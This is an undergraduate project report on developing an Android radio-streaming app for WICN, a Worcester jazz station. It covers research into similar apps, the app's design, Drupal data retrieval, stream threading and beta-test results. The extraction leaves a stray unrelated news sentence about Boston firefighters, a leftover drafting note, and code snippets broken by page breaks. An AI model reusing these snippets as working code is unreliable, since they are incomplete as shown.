WICN Android Application Modular Diagram ................................. 20 Figure 13: Diagram depiction of how Fragments are used in Android ............... 25 Figure 14: WICN Android Application Navigation Menu ................................. 27 Figure 15: Consistent Data Retrieval on Android Application ......................... 29 Abstract WICN (90.5 FM) is a public jazz radio station located in Worcester, MA that broadcasts National Public Radio (NPR) news along with Jazz, Blues, Soul, Bluegrass, Folk, Americana, and Latin Jazz music to an audience of over forty thousand. During the 2013-14 academic year, two GQP groups from Worcester Polytechnic Institute conducted market research on the benefit of developing a smartphone application that would allow the station’s listeners to access the music stream along with other listener requested features. This research concluded that a mobile application would be highly beneficial. Therefore, the goal of this project was to develop a native mobile application for the Android Operating System that would feature live radio streaming capabilities, display parts of the station’s website in a mobile-friendly format, alarm functions, and donation capabilities. Chapter 1: Introduction WICN is a public radio station based in Worcester that offers ‘Jazz+’ music programming and National Public Radio (NPR) news. The station currently broadcasts via the air (in standard and High Definition formats) and online via NPR Online Services. In order to reach a larger demographic and potentially increase revenue, the station recently became interested in developing a mobile application that would enable their listeners to listen to the online broadcast and access additional content pertaining to programming and local performances. To gauge how an application would mutually benefit the station and its listeners, WICN collaborated with graduate students from the Worcester Polytechnic Institute School of Business to perform market research. Part of this research consisted of surveys that asked listeners what features they would want in a mobile application. Our project builds on the conclusions of this market research, which recommended live radio streaming capabilities, displaying parts of the station’s website in a mobile-friendly format, alarm functions, and donation capabilities. This project is also based on communications between our project team and WICN’s staff members. Our project group spent the Spring semester of the 2013-2014 academic school year developing the Android version of this application. This document will comprehensively describe our entire development process including details ranging from initial conversations to the final product we delivered to the station. Chapter 2: Background and Related Work 2.1 Analysis of GQP Reports Part of this project consisted of reviewing two GQP research reports in order to attain a clearer understanding as to what a potential mobile application should contain. The first report titled *WICN Mobile Application Market Research*, contained most of the information we needed that directly correlated with our application development including listener preferences, demographics, etc. The second report titled *Strategic Marketing Plan for Collaboration Between WICN Public Radio and WPI* contained much more demographic information. 2.1.1 GQP #105 - WICN Mobile Application Market Research This GQP report (Diana, N.; Yao-Hua Chung, K.; & Li, X. 2013), specifically focused on how viable a mobile application would benefit the WICN radio station. This research was helpful for designing and planning our application as it gave our team a solid foundation on current WICN listener preferences. The GQP team conducted several surveys that asked current WICN listeners who were signed up for WICN’s newsletter, WPI Alumni, and the WPI student body about the different kinds of music applications they use. In addition, these surveys asked how long the respondents have used a smartphone, what operating system their smartphone runs on, and what features would they like to see in a mobile application. This information helped our project team develop the application in such a way that strongly correlated with the report results. This GQP report showed that most WICN listeners used iOS devices rather than Android devices. Out of all the respondents, 47% used an iPhone, 47% used an iPad, 30% used an Android phone and 10% used an Android tablet. At the start of this project, we were informed that we would be developing a single application for the Android operating system. After reading the data obtained from this report, we were conflicted between developing a feasible application within the allotted time for this project and giving WICN an application that would be most beneficial. Therefore, we attempted to develop an iOS version alongside the Android version, but ended up developing the latter due to the increased difficulty and lack of experience our project group had with developing an application using the Objective C programming language. 2.1.2 GQP #104 - Strategic Marketing Plan for Collaboration Between WICN Public Radio and WPI This GQP report (Lewis, S., & Song, Z. 2013) did not focus on a mobile application but instead focused on what WICN can do to increase listenership in its programming. The report contained an abundance of data such as categorized demographics including average jazz listener demographics, average WICN listener demographics, and demographics within the WPI student body. Although this report wasn’t as relevant, it did give our project group an insight on WICN’s future plans to expand and a great overview as to what the target audience of our mobile application would look like. 2.2 Analysis of Similar Applications We researched a variety of radio mobile applications in order to compare features and application design. By going through this process, we found common features and design implementations such as play/pause capabilities, navigation menus, swipe capabilities, and varying methods to display mobile-friendly content. We reviewed the following applications: 2.2.1 TuneIn The TuneIn Android application allows listeners to access over 100,000 radio streams across the globe, including WICN’s online stream, and over 2 million podcasts. One of the most useful features of the application is a session management, where the application would save information from the time the listener accessed a radio stream. As shown in Figure 1 above, this ![Figure 1: TuneIn Android Application](image) application also includes buttons for playing, pausing, stopping, and even rewinding the stream. This application also has the ability to swipe between categories also shown in Figure 1 such as ‘Now Playing’, ‘Related’, and ‘Recents’ sections. 2.2.2 WayFM The WayFM Android application has several useful functions that we hoped to implement at the start of this project, some that are relevant to what we were trying to achieve and others that were not. An example of a useful feature that is that this application implements a navigation menu to navigate between different sections. In addition, the application displays information about the current song playing in the stream with the relevant album artwork. In contrast, the application also allows you to select different radio station streams depending on the city and state you selected at runtime as shown above in Figure 2. This feature is outside the scope of our application since WICN has only a single stream that comes from the Worcester area. 2.2.3 US Massachusetts Radio The US Massachusetts Radio Android application included a wide variety of different radio streams available for playback including the WICN online stream. The most prominent feature that we did not like was the design of the user interface elements, as shown in Figure 3 above, and the overall flow between the screens of the application. Navigating between different portions of the application is confusing because nothing is intuitive. A user doesn’t know whether to swipe or simply tap on certain user interface elements in order to do something. However, this application did provide some of the functionality that we were planning to implement into this project including a sleep timer to automatically stop the stream after a selected amount of time. 2.2.4 Google Play Music The Google Play Music Android application was one of the most useful applications in this reviewing process and it provided us with the most appropriate design that we wanted to implement for our application. Similar to the TuneIn application, it provides the ability to play, pause, and stop the stream from anywhere within the application along with having a slide menu for navigation purposes. In addition, it includes a navigation menu and swipe capabilities for opening and closing the menu and for switching between categorized tabs. 2.2.5 Pandora While the Pandora Android application does not offer the capability to listen to live broadcasts, it has one of the cleanest and easiest to use user interfaces of all the applications we studied. Shown in Figure 5 above, the application enables listeners to play or pause music, skip the current song, and adjust the volume from within the application. It also allows the user to view information about the previously listened-to tracks or just the album art of the current one. No matter where the user is within the application, the user is no more than one action away from the ‘Now Playing’ menu. This application also allows the user to pause or skip the song from the lock screen of the phone: a convenient feature. 2.2.6 iHeartRadio The iHeartRadio Android application is another great example of an application that utilizes online streaming services. Similar to the TuneIn application, users can access a wide variety of radio broadcasts as the application can stream music from every radio station in the iHeartRadio network. The iHeartRadio network mostly consists of at least 800 radio stations in the United States, but also has several international radio stations that can be broadcasted. Similar to the Pandora application reviewed earlier, this application allows users to create custom radio stations by song, artists, or genre of music. As shown in Figure 6, the user interface of this application is much more complicated than the other applications we reviewed with user interface elements such as expandable lists, separate tabs within a screen, and multiple swipe capabilities on a single screen. 2.2.7 WGBH Boston Radio We tested the WGBH application on iOS to see if there were any differences in the overall functionality and the designs of the Android applications we tested. Talk about why WGBH is relevant: it is a public radio station in the Boston area. The design of this application is very similar to what our project group wanted to develop including a navigation menu and a donate feature as shown in Figure 7 above along with access to separate podcasts as shown in Figure 8 below. Unlike the other applications we tested on Android, this particular application only includes buttons to pause and play the stream but no button for stopping it. The version that we tested during the time of this review process seemed to have included a bug that allows a user to listen to the stream and a podcast simultaneously. It's been an emotional week as Boston laid to rest two firefighters who died in a 9-alarm Back Bay fire last Wednesday. Today at a press 2.2.8 KEXP Radio We looked at the KEXP Radio application as a result of feedback from a WICN staff member who preferred the design over many other applications. Valued features include the radio station’s logo at the center of the application header bar along with having a consistent ‘Donate Now’ button across every portion of the application just as Figure 9 shows. This application also allows users to view what is currently playing in the radio stream and even the ability to select a streaming bit rate of either 64 kbps or 128 kbps. Figure 9: KEXP Radio iOS Application Chapter 3: Methodology 3.1 Development Platforms In this project, we developed an Android application for the WICN radio station. Our design was based on our research of similar applications in Chapter 2, the features favored by WICN listeners, and features requested by the staff at WICN. At the start of this project, we originally decided on developing one application solely for the Android Operating System. This decision was made based on the fact that our team already had experience developing Android applications and already had devices available to test the application on. As previously mentioned, we addressed the question of simultaneously developing an application for iOS. The aforementioned GQP results revealed that the majority of the station’s listeners owned iOS devices. Therefore, we looked further into the complexity of the Android application we were already in the process of developing and noticed that the application was much less complex that we had originally anticipated. Hence, we decided to develop the Android application first. If we had the time, we would begin development on a prototype for iOS. Towards the final weeks of the development process, we discarded the idea completely as we were informed that an iOS version of our application was to be developed by another group in the Fall semester of the 2014-2015 academic year. 3.2 Application Design Our project group was advised to create a design for our application prior to the start of the development process. Therefore we developed several application mockups using Photoshop CC. In order to keep a consistent color scheme with the current WICN website, our team used the exact fonts, images, and other resources directly from the site itself. We did this so that we would not have to recreate many of the visual elements already provided by the site. Figure 10 shows an example of what we produced: After presenting these designs to our advisors, we were informed that the designs were not sufficiently branding WICN. For example, the splash screen alone in Figure 10 was not enough to show listeners that this application is from WICN. We were also critiqued on the color scheme and were encouraged to try using different colors for the headers and the backgrounds. Because there were so many design options and implementations, we ended up making several alternative designs that we planned to show the staff at WICN so that they could pick out the one they liked the most. Figure 11 below shows our overall application flow using screenshots from our first deliverable of our application. Figure 12 shows a much more simplified version of the same diagram using a flow chart. Note that the application starts with a splash screen and immediately goes into the ‘Home’ screen of our application. Users can then open up the navigation drawer in order to access different sections of our applications as shown below: Figure 12: WICN Android Application Modular Diagram 3.3 Current Radio Broadcast Stream Prior to development, we were curious to see if the station had any additional streams we could access other than the online stream. It turned out that the station only broadcasts one stream at a bitrate of 64 kbps in the mono format. The equipment used to broadcast the HD Radio stream was not functional at the time of this project and required maintenance. This was somewhat discouraging because our group was curious to see if it was possible to access the HD Radio stream in addition to the primary mono stream the station broadcasts. As demonstrated by the KEXP iOS Application, we initially wanted to include a setting for our application that would allow listeners to select the streaming quality of the online radio stream. WICN currently provides two files to allow other media players such as iTunes, RealPlayer, and more to open them and listen to the online stream. As a result of opening these files using a text editor, we were able to access the online broadcast since opening the files revealed the exact URL address used to access the online stream. 3.4 Real Time Track Listing Setback During the development process, we were informed that the station does not keep track of what current songs are playing at any specific time except for when they run live shows in their Performance Hall. In this case, the host running the live show uses a program called *Spinitron*, which is also directly accessible from WICN website, to keep track of the current song. We were also informed that attempting to retrieve information from this program would be unreliable because not all hosts keep track of the songs they play during these live shows. The ability to display relevant information about the current song playing is a feature that WICN hopes to have in the future. In addition, we were informed that the station receives an additional broadcast directly from *JazzWorks* from 9AM - 4PM EST, and 11PM - 6AM EST between Monday through Thursday. The entire playlist containing the lineup of songs can also be found directly on the WICN main website. However, there are no timestamps associated with each song entry in the playlist so there is no way to match what song is playing at a certain time. This caused our project group to re-evaluate our project goals and essentially eliminate this real time track listing functionality altogether. 3.5 Android Audio Standards Since there are many applications on any given Android phone that all want to control the audio for several different reasons it is important for the Android Operating System to have control over the audio system as a whole. Fortunately the Android Operating System already does this using something called an *AudioManager*. The *AudioManager* controls several ‘streams’ of audio depending on what is needed by the application. The one our application was using was specific for music playback. The application must request that it gets the audio focus from the *AudioManager*. Upon receiving audio focus, an application can then play its audio. The *AudioManager* may also revoke focus from the application at any time if another application requests it, and the application must be able to handle the condition if it’s audio focus gets revoked. We were able to use the *AudioManager* to control the playback of our application for certain cases. For example, if one of the station’s listeners is currently listening to the online broadcast and simultaneously receives a phone call, our application uses Android’s *AudioManager* to stop the audio playback completely for the duration of the phone call. A similar event handler occurs when they receive e-mails or text messages. ### 3.6 Adding Drupal Functionality In order to access features from the WICN website, we had to install, enable, and configure some additional modules on the administration site. This included the ‘About Us’, ‘Events’, ‘Home’, ‘Podcasts’, and ‘Programs’ sections of the site. Looking through the documentation listed in the references of this document, we realized that we needed additional credentials to access the FTP server that manages the Drupal administration site for WICN. Therefore, we installed the *Services* module. This gave us the opportunity to retrieve certain pieces of information directly from the Drupal Content Management System using appropriate RESTful APIs. With additional research, we figured out that certain aspects of the site were separated into sections. The pieces we had to work with are called *Views* and *Content*. Views in this context are similar to SQL queries in the sense that there is an interaction between a database and how the information is displayed on the site. Views provide some level of abstraction that allows this information to be displayed in some format within the WICN website. The views that our application needed to interact with included the main home page slider along with the ‘Events’, ‘Programs’, ‘Podcasts’, ‘On Air Now’, and ‘Take Note’ section from the website. Content in this context are split up into smaller sub-categories such as pages, blocks, polls, articles, etc. The content we needed to access for our application included the ‘About Us’ page. We also installed a module called *Services Views* which depends on the *Services* module we previously installed in order to access these Views. After the module was configured, we were successfully able to retrieve the data from the ‘Programs’ section of the website and the ‘Events’ section of the website in JSON format. Using these returned values, we programmed our application to call these endpoints upon startup. 3.7 Application Testing Since the start of the development process, most our application testing was done via our personal Android devices and the built-in Android emulator within our Eclipse ADT bundle. This allowed us to directly test our application from at least two different perspectives and gave us a better account for dealing with different resolutions, speeds, and audio quality. Towards the end of our development process, we distributed the application to a small group in order to beta-test the application and to collect any sort of bugs and other relevant information from users. Therefore, we developed an application review survey (which was hosted on the WPI Qualtrics server) as shown in the references of this document along with a link to our demonstration application (which was hosted on the Google Play store) and sent this information to the WPI community via appropriate mailing lists. Chapter 4: Implementation 4.1 Application Code To develop this Android application, our project group used the provided Eclipse ADT bundle from the Android Developers website. We developed the application using the Java programming language and we used GitHub for source control and bug tracking. With the exception of the Android Support Library (Android Support Library 2014) to increase compatibility with older Android devices and the ViewPagerIndicator project (Wharton, J 2012), we were able to develop this application with no additional third party libraries or external JAR files. 4.2 Application Structure At the start of this project, we initially thought each part of our application would be programmed as an Android Activity, meaning that a brand new screen would get loaded each time a user would tap on a menu item despite whether or not we were reusing the same user interface element. In other words, if our first screen of our application loaded a menu, we would have to ‘re-draw’ that menu again in a separate screen called an Activity, rather than reusing what we already added. The sample code from the ‘Android Sliding Menu using Navigation Drawer’ tutorial in the references used to develop this application suggested that we use something called Fragments instead. Fragments in Android are user interface elements that are usually part of an Activity and can be recycled, meaning that they are completely reusable within any part of the application. This approach turned out to be much more efficient because our application doesn’t have to waste additional resources on generating new interface elements that are used over again. In this case, elements that we needed to remain persistent across our application included things such as the navigation menu and the header bar across each part of the application. The ‘Design Philosophy’ section of the ‘Fragments’ resource mentioned in the references includes the following figure to explain this in detail: Figure 13: Diagram depiction of how Fragments are used in Android Based on Figure 13 above, we followed the visual guidelines for a tablet rather than a handheld device. We implemented this using the following snippet of XML code for the layout and the subsequent Java code for the logic: ```xml <android.support.v4.widget.DrawerLayout xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/drawer_layout" android:layout_width="match_parent" android:layout_height="match_parent"> <!-- FrameLayout to display Fragments --> <FrameLayout android:id="@+id/frame_container" android:layout_width="match_parent" android:layout_height="match_parent" /> ... Fragment fragment = null; switch (position) { case 0: fragment = new HomeFragment(); ``` break; case 1: fragment = new NewsletterFragment(); break; case 2: fragment = new AboutUsFragment(); break; ... The *FrameLayout* in the XML code above is used across each section of our application. This acts as a placeholder for whatever we decide to put there. In this case, we used Fragments to populate this *FrameLayout*. The switch-case shown above is used to connect what section gets loaded based upon what menu item is selected. 4.3 Navigation Menu Figure 14: WICN Android Application Navigation Menu Figure 14 shows the final menu navigation menu that we implemented for our application. Using a combination of resources listed in the references A along with the Android Developer Icon Pack from the Android Developer website, we successfully developed this layout within a week. Most of the development process involved matching our application design and adding the appropriate icons to each section. As previously mentioned, we were able to find most of the icons using the already provided resources from the Android Developer Icon Pack. The rest of the icons were part of either the free sample pack in the Android Icons resource or were purchased from IconFinder and later modified using Photoshop CC according to the Iconography standards set by the Android Developer documentation. Our design initially included a navigation menu for the purposes of allowing users to switch between one part of the application to another with ease. Based off the applications we reviewed in Chapter 2 of this document, we implemented this because of the popularity of this feature amongst the other applications. 4.4 Threading the Stream When we first tested loading the stream on the Android application we noticed that while the stream was starting up the user interface would freeze up and become unresponsive. After looking through the Android documentation, we discovered that each every component of an application’s process runs in its main user interface thread (Processes and Threads, 2014). This includes Services which an application uses to perform work in the background, which we used to play the stream. In order to create a job that works in a separate thread, you have to explicitly extend the Thread class, instantiate and start the thread. The thread we created RadioThread, for this service contains a MediaPlayer Object and a Handler Object. The Handler Object allows communication between the user interface thread that the service runs on and RadioThread. When the RadioThread Handler receives a Message from the user interface thread, it will call a method of the MediaPlayer, which method it calls is dependent on the contents of the Message. Below is some example code for how the thread works: ```java public RadioThread(){ mediaPlayer = new MediaPlayer(); path = streamPath; mHandler = new Handler() { public void handleMessage(Message msg) { if(msg.obj == null){ }else if(msg.obj.equals(playerEnum.PLAY)){ try{ if(!prepared) setup(path); mediaPlayer.start(); } catch (IllegalStateException e) { e.printStackTrace(); } } } } } ``` The Service containing the RadioThread is the RadioService. Apart from containing the RadioThread, RadioService also acts as the messenger between the user interface thread and RadioThread. RadioService has several public methods that allow the application to control the MediaPlayer in the RadioThread, on the following page is the sample code for the method to stop the media playback. ```java public void stop(){ radioPlaying = false; } Message msg = new Message(); msg.obj = RadioThread.playerEnum.STOP; radioHandler.sendMessage(msg); } This method sets an internal variable that monitors the state of the radio to false, so the rest of the application know can know the radio stream is no longer playing. It then creates a message telling the radio to stop and sends that message to the RadioThread. The RadioThread then picks up the message and turns off the radio, disconnecting it from the stream. The RadioService class was designed to add a layer of abstraction to the implementation of the radio. This abstraction allows the programmer working with the application to not need to know that the a separate thread exists, and that working with the separate thread is just as easy as working with the current thread. 4.5 Fixing Constant Data Retrieval ![Data usage](android-data-usage.png) *Figure 15: Consistent Data Retrieval on Android Application* After completing the first iteration of our application, we looked at how much data our application was retrieving. As shown in Figure 15, we soon figured out that over a period of one week, our application used over one gigabyte of data and eventually realized that the application was not properly destroying the service that controlled the connection to the radio stream. Regardless of whether our application was open and regardless of whether or not the current stream was playing, the service kept obtaining and buffering the stream. In order to fix this, we implemented several checkpoints from within the application. First, the application checks for an active internet connection at startup. If there is no active connection, a dialog box comes up informing the user that they application cannot continue unless they connect to a mobile or WiFi network. Upon a successful connection, the radio service starts and begins buffering the radio stream. If a user presses the back button on their Android device, another dialog box asks the user whether not they want to close the application. Rather than placing the application in the background, we terminate the application completely if the application is closed. 4.6 Drupal Data Retrieval After our project group found out exactly how to retrieve the data we needed from the Drupal Content Management System, we needed to implement that data into our existing code. Therefore, we had two options. The first option was to perform a GET request to all the data endpoints we needed at the start of the application. We were already establishing a connection to the online stream at the start of the application, so adding separate processes to get the content we needed at startup proved to be beneficial. That way, everything the application needed to display would already be there and there would be no need to establish additional network connections. On the other hand, our project group also had the option of establishing these requests whenever a menu item was tapped on. For example, if a user were to tap on the ‘Programs’ menu item it would make a GET request just to that endpoint we established and retrieve the data. The benefit of doing this would be so that we only get what we ask for. The downside was that a new request would have to be made each time a user tapped on the menu item. An example of our code to do this can be found below: ```java JSONObject jObj = new JSONObject(aboutUsJSON).getJSONObject("body"); JSONArray jArr = jObj.getJSONArray("und"); for(int i = 0; i < jArr.length(); i++) { ``` 30 JSONObject object3 = jArr.getJSONObject(i); aboutUsContent = object3.getString("value"); } } catch (JSONException e) { e.printStackTrace(); } } Chapter 5: Results and Discussion 5.1 Application Survey Results As previously mentioned, we conducted a survey of WPI students which was hosted by WPI’s Qualtrics server. We sent out the survey to several e-mail mailing lists and began collecting data between April 11th, 2014 and April 22nd, 2014. The most significant information we received from the survey was the qualitative data we asked of the users. The number of respondents to our survey of the application was less than we had anticipated, and under the twenty we had determined to be statistically significant. Since the number of respondents was under the twenty people we determined to be statistically significant, the quantitative data we hoped to analyse is useless. The qualitative data remains useful because its adds a new perspective of what a user might want to see in the application, apart from our team, the developers, and WICN, our clients. The survey also helps to test for any bugs in our software. One survey respondent using a Droid Razr Maxx running Android 4.4 KitKat reported a problem with playing the music stream. The respondent said: “I could hear audio, but not until returning to the "Home" screen/activity a second time.” We are not able to replicate this potential bug as we do not have a Droid Razr Maxx to test on and no other survey takers had the same phone. Through Testing we have noticed that sometimes the stream may have some latency in starting audio playback due to a poor network connection. We suspect that this may be the cause of this particular bug. When we asked if there were any persistent issues the respondents had a few things to say. One respondent said: “Radio plays for a bit then stops, occasionally resuming. I'm assuming this is just due to a poor connection.” This respondent was in fact correct, as we have noticed the stream start to start and stop seemingly randomly when we had poor network connections on our phones and emulators. A second respondent noticed that: “Closing the application within the app switching menu stops the music but does not remove the icon from the status bar.” We had not previously found this bug, and were able to replicate it on our own testing equipment, and have since fixed said bug. A third respondent noticed that: “The boxes don't line up well on the newsletter signup page” We later realized that this particular issue was occurring as a result of the web content formatting. The same formatting issues appeared regardless of whether it was loaded within our application or via a separate web browser. 5.2 WICN Staff Application Review Towards the final development weeks, our project group sent several screenshots of our application to obtain feedback as to what application features they liked and disliked. We received several responses including requests such as changing the application icon, adding the WICN slogan to each screen, increasing the size of the ‘Donate Now’ button that appears on every screen, changing the layout of the ‘Podcasts’ section, and adding an alarm feature in which a user could set an alarm so that the WICN online broadcasts begins to play on a specified time. Our project group spent some time communicating back and forth between the staff in addition to making most of the requested changes for an updated application. Chapter 6: Conclusion and Future Work This application challenged our project team to new heights due to the amount of extensive research and new programming aspects each of us took in order to develop it. Overall, this project was much more than a usual ‘assigned project’ for a programming course since we were given the opportunity to create something from scratch for an outside organization in order to potentially increase both the station’s revenue and the station’s listener population. The application itself was probably the most commercial-like application that either of the members in our project group has ever developed, and in the end we were very satisfied with the final deliverable that had no known bugs or errors. 6.1 Development Limitations As previously mentioned in Chapter 4, our project group had to overcome a few obstacles throughout the duration of this project ranging from limitations of our own capabilities to the feasibility of all the application’s features. At the start of this project, we wanted to include additional features within the application such as being able to view relevant artist, album, and song information about the current song playing within the live stream. We also wanted to develop a donation feature that would allow a user to both signup for the e-mail newsletter and make donations to the station just by using the native user interface elements provided by the Android Operating System rather than implementing web content. Finally, we had also hoped to include a persistent play, pause, and stop button throughout all the screens of the application so that a user doesn’t have to navigate to the very first screen in order to play the online broadcast. Implementing these features would have taken a significant amount of time to develop which would’ve caused our final product to be delayed. At least half of these features were not feasible during the time of this project due to the specific ways WICN manages their online donations e-mail newsletters, and online stream. Despite all that, having the opportunity to work directly with the staff at WICN proved to be highly beneficial as we were able to make an application that meets their expectations rather than creating an application on our own terms. 6.2 Application Improvements As far as improvements, this application could potentially benefit from another major update in the near future. Aside from the features mentioned above, the application could also grant listeners the ability to select specific playback frequencies instead of defaulting to the current 64 kpbs mono broadcast. For example, listeners that have access to a faster internet connection would possibly want to listen to the station’s broadcast at a higher quality if they were given that option. Making the application perform more efficiently would also be advantageous, especially for listeners that have slower or older Android devices. Finally, an iOS version of this application would be an advantage for the station as they would have dedicated applications specific for branding and promoting the station for two major mobile operating systems, thus affecting a larger proportion of their listener population. References Diana, N., Yao-Hua Chung, K., & Li, X. (2013). GQP 105 - WICN Mobile App Market Research (pp. 30): Worcester Polytechnic Institute Services | Android Developers (2014) Styling the Action Bar | Android Developers (2014) from US Massachusetts Radio Android Application from Accessed January 23rd, 2014 Vogel, L. (2014). Multi-pane development in Android with Fragments - Tutorial from Accessed March 25th, 2014 Accessed April 29th, 2014 Appendix A: Application Survey 1. What is your gender? ○ Male ○ Female 2. Please select your age group: ○ Under 18 years old ○ 18 - 20 years old ○ 21 - 22 years old ○ 23-25 years old ○ 26+ years old 3. What Android version are you currently running on your smartphone? ○ Android < 2.0 ○ Android 2.0 - 2.1 (Eclair) ○ Android 2.2 (Froyo) ○ Android 2.3 (Gingerbread) ○ Android 3.0 - 3.2 (Honeycomb) ○ Android 4.0 (Ice Cream Sandwich) ○ Android 4.1 - 4.3 (Jelly Bean) ○ Android 4.4 (KitKat) ○ Unsure 4. What smartphone model do you have? 5. How long have you used a smartphone? ○ Less than 6 months ○ 6 months - 1 year ○ 1 - 2 years ○ 2 - 4 years ○ More than 4 years 6. How often do you use applications on your smartphone? ○ Never ○ Less than once a day ○ Once or twice a day ○ Once or twice an hour ○ More than once per hour 7. What kinds of applications do you use in a typical week? (Check all that apply) ○ Entertainment (Games, Videos, eBooks, etc.) ○ Productivity (E-Mail, Calculator, Finance, Word Processing, etc.) ○ Social Networking (Facebook, Twitter, etc.) ○ Educational ○ Personal (Fitness Tracker, Cooking, etc.) 8. If you use your smartphone to listen to music. What kinds of applications do you use to do so? (Check all that apply) ○ Pandora ○ iHeartRadio ○ Spotify ○ Google Play Music ○ Other: 9. Are you currently a listener of WICN? ○ Yes ○ No 10. If your answer to the previous question was “Yes”, how long have you been a listener of the station? ○ Less than 6 months ○ 6 months - 1 year ○ 1 - 3 years ○ 3 - 5 years ○ More than 5 years 11. Start up the application. You should see the following screens: Does the application load successfully with no error messages? 12. If your answer to the previous question was “No”, please describe the issue with as much detail as possible. 13. From the Home Screen, press the “Play” button. Does the application begin to play the online stream? (note it may take a second or two to start playing) ○ Yes ○ No 14. If you answered “No” to the previous question, please describe the issue with as much detail as possible. 15. Open the navigation menu as described in question the third screenshot above. Select any or all of the menu items. Do these pages load successfully with no error messages or crashes? ○ Yes ○ No 16. If you answered “No” to the previous question, please describe the issue with as much detail as possible. 17. While the radio is playing, press the 'Home' button on your android device. Does the stream continue to play while the application in in the background? 18. If you answered “No” to the previous question, please describe the issue with as much detail as possible. 19. Where there any persistent issues that you noticed while using the application? 20. Are there any features of the application that you felt were useless or not necessary? If so, please describe them. 21. Do you have any suggestions for ways to improve the application? 22. Do you have any additional questions? Comments? Compliments?
{"Source-Url": "https://digitalcommons.wpi.edu/cgi/viewcontent.cgi?article=5133&context=mqp-all", "len_cl100k_base": 9454, "olmocr-version": "0.1.53", "pdf-total-pages": 42, "total-fallback-pages": 0, "total-input-tokens": 74059, "total-output-tokens": 12587, "length": "2e13", "weborganizer": {"__label__adult": 0.0006084442138671875, "__label__art_design": 0.0008907318115234375, "__label__crime_law": 0.0002474784851074219, "__label__education_jobs": 0.0010004043579101562, "__label__entertainment": 0.0005769729614257812, "__label__fashion_beauty": 0.0002765655517578125, "__label__finance_business": 0.0003972053527832031, "__label__food_dining": 0.000431060791015625, "__label__games": 0.0013170242309570312, "__label__hardware": 0.003448486328125, "__label__health": 0.00019216537475585935, "__label__history": 0.00026035308837890625, "__label__home_hobbies": 0.00010216236114501952, "__label__industrial": 0.00023853778839111328, "__label__literature": 0.00036716461181640625, "__label__politics": 0.00020039081573486328, "__label__religion": 0.00032973289489746094, "__label__science_tech": 0.00292205810546875, "__label__social_life": 0.00010204315185546876, "__label__software": 0.0099639892578125, "__label__software_dev": 0.97509765625, "__label__sports_fitness": 0.0002753734588623047, "__label__transportation": 0.00052642822265625, "__label__travel": 0.00015783309936523438}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54003, 0.03686]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54003, 0.06987]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54003, 0.90745]], "google_gemma-3-12b-it_contains_pii": [[0, 658, false], [658, 992, null], [992, 6155, null], [6155, 6257, null], [6257, 7701, null], [7701, 8585, null], [8585, 10124, null], [10124, 12922, null], [12922, 13966, null], [13966, 14977, null], [14977, 15765, null], [15765, 16330, null], [16330, 17067, null], [17067, 17966, null], [17966, 18466, null], [18466, 18935, null], [18935, 19515, null], [19515, 21421, null], [21421, 22439, null], [22439, 22439, null], [22439, 22491, null], [22491, 25377, null], [25377, 28153, null], [28153, 29067, null], [29067, 31055, null], [31055, 31884, null], [31884, 32340, null], [32340, 33520, null], [33520, 35615, null], [35615, 36629, null], [36629, 39128, null], [39128, 39277, null], [39277, 41489, null], [41489, 42613, null], [42613, 45668, null], [45668, 45834, null], [45834, 47563, null], [47563, 49272, null], [49272, 50852, null], [50852, 52076, null], [52076, 52891, null], [52891, 54003, null]], "google_gemma-3-12b-it_is_public_document": [[0, 658, true], [658, 992, null], [992, 6155, null], [6155, 6257, null], [6257, 7701, null], [7701, 8585, null], [8585, 10124, null], [10124, 12922, null], [12922, 13966, null], [13966, 14977, null], [14977, 15765, null], [15765, 16330, null], [16330, 17067, null], [17067, 17966, null], [17966, 18466, null], [18466, 18935, null], [18935, 19515, null], [19515, 21421, null], [21421, 22439, null], [22439, 22439, null], [22439, 22491, null], [22491, 25377, null], [25377, 28153, null], [28153, 29067, null], [29067, 31055, null], [31055, 31884, null], [31884, 32340, null], [32340, 33520, null], [33520, 35615, null], [35615, 36629, null], [36629, 39128, null], [39128, 39277, null], [39277, 41489, null], [41489, 42613, null], [42613, 45668, null], [45668, 45834, null], [45834, 47563, null], [47563, 49272, null], [49272, 50852, null], [50852, 52076, null], [52076, 52891, null], [52891, 54003, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54003, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 54003, null]], "pdf_page_numbers": [[0, 658, 1], [658, 992, 2], [992, 6155, 3], [6155, 6257, 4], [6257, 7701, 5], [7701, 8585, 6], [8585, 10124, 7], [10124, 12922, 8], [12922, 13966, 9], [13966, 14977, 10], [14977, 15765, 11], [15765, 16330, 12], [16330, 17067, 13], [17067, 17966, 14], [17966, 18466, 15], [18466, 18935, 16], [18935, 19515, 17], [19515, 21421, 18], [21421, 22439, 19], [22439, 22439, 20], [22439, 22491, 21], [22491, 25377, 22], [25377, 28153, 23], [28153, 29067, 24], [29067, 31055, 25], [31055, 31884, 26], [31884, 32340, 27], [32340, 33520, 28], [33520, 35615, 29], [35615, 36629, 30], [36629, 39128, 31], [39128, 39277, 32], [39277, 41489, 33], [41489, 42613, 34], [42613, 45668, 35], [45668, 45834, 36], [45834, 47563, 37], [47563, 49272, 38], [49272, 50852, 39], [50852, 52076, 40], [52076, 52891, 41], [52891, 54003, 42]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54003, 0.0]]}
olmocr_science_pdfs
2024-12-06
2024-12-06
